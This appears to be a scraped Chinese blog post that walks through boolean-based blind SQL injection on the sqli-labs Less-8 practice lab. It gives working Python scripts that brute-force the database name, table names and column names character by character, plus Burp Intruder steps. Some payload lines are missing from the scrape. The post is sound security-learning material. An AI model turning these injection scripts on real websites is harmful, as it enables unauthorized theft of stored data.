天天看點

sql注入學習——布爾盲注

前言:之前通過前九關學習到了回顯注入、報錯注入等一些方法,這次就來詳細的學習布爾盲注。

首先來了解一下盲注的概念

盲注是注入的一種,指的是在不知道資料庫傳回值的情況下對資料中的内容進行猜測,實施SQL注入。

布爾盲注

原理:

注入的時候隻會傳回

True和False

,是以布爾盲注就是根據頁面顯示的是

True還是False

進行猜測資料庫中的資訊。

布爾盲注需要幾個函數的輔助,就先來了解一下這幾個函數

length()函數可傳回字元串的長度
substring()函數可以截取字元串,可指定開始的位置和截取的長度
ord()函數可以傳回單個字元的ASCII碼
char()函數可将ASCII碼轉換為對應的字元
           

具體的用法可以參考大佬的部落格Mysql文法介紹,接下來就通過sql-labs練習布爾盲注。

判斷注入點(也就是閉合符号)

發現輸入

id=1'

會報錯

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'
           

id=1'

後再加上注釋符号後又回顯正确,是以判定閉合符号為

'

爆資料庫長度

知道閉合符号後,先來爆一下資料庫名的長度,這裡就用到上面所說的函數了

回顯正确

sql注入學習——布爾盲注

手工注入的話就要一遍一遍的試試,将後面的長度不斷增大,最後得出資料庫名的長度為

8

爆資料庫名

知道了資料庫名的長度,接下來就來爆破資料庫名

原理都一樣,目的就是取出資料庫名中的一個字元通過比較ascii碼來猜測出資料庫名,但是如果手動爆的話太浪費時間了,可以寫

腳本

,也可以用

burp爆破

,這裡兩種方法都試一下

burp爆破

先抓包

sql注入學習——布爾盲注

設定變量,這裡設定了兩個變量是以上面的框中要選

第四個選項

sql注入學習——布爾盲注

第一個變量設定為

numbers

1到8,第二個變量也設定為

numbers

0到127

sql注入學習——布爾盲注

分别設定好,然後開始爆破。

不過太慢了,應該是我burp設定的有問題,這裡就學習一下這種方法,爆破還是腳本來吧。

sql注入學習——布爾盲注

附上大佬部落格利用burp盲注

腳本爆破

目前腳本還不會寫,就參考大佬的學習一下

大佬部落格布爾盲注

腳本中一些不太懂的文法就參考下面大佬的部落格

Python requests

Python——入門級(定義功能def函數)

格式化輸出字元串

import requests
def database_len():
	for i in range(1,10):
		url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
		payload = '''?id=1' and length(database())>%s''' %i  #格式化輸出字元串
		# print(url+payload+'%23')
		r = requests.get(url+payload+'%23')
		if 'You are in' in r.text:
			print(i)
 
		else:
			#print('false')
			print('database_length:',i)
			break
database_len()
 
def database_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
			# print(url+'%23')
			r = requests.get(url+'%23')
			if 'You are in' in r.text:
				name = name+i
				
				print(name)
				
				break
	print('database_name:',name)

database_name()
           
sql注入學習——布爾盲注

爆出了資料庫名和長度,接下來改payload爆出表名

payload:

修改一下腳本

import requests

def table_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1)))=ord('%s')" %(j,i)
			# print(url+'%23')
			r = requests.get(url+'%23')
			if 'You are in' in r.text:
				name = name+i
				
				print(name)
				
				break
	print('table_name:',name)

table_name()

           

通過修改

limit 0,1

來擷取其他表名

sql注入學習——布爾盲注

爆出列名

payload:

修改腳本,跑出列名

import requests

def column_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),%d,1)))=ord('%s')" %(j,i)
			# print(url+'%23')
			r = requests.get(url+'%23')
			if 'You are in' in r.text:
				name = name+i
				
				print(name)
				
				break
	print('column_name:',name)

column_name()

           
sql注入學習——布爾盲注

其他的修改

limit

後的值即可得出其他的列名

爆值

腳本還和上面的相同,隻不過改下payload,但是這個腳本是有缺陷的,就是在周遊,但是我們賦給

i

的字元隻有小寫的,有可能其他大寫的或特殊符号顯示不出來,隻要加上就行了。但是這樣做的話腳本跑的也會很慢,還是好好學習python,寫一個更加便捷的。

最後總結一下布爾盲注常用語句

爆資料庫長度

爆資料庫名

爆表名

爆列名

爆值

語句幾乎不變,根據需要加以改動即可,這次就先學習布爾盲注,接下來學習時間盲注。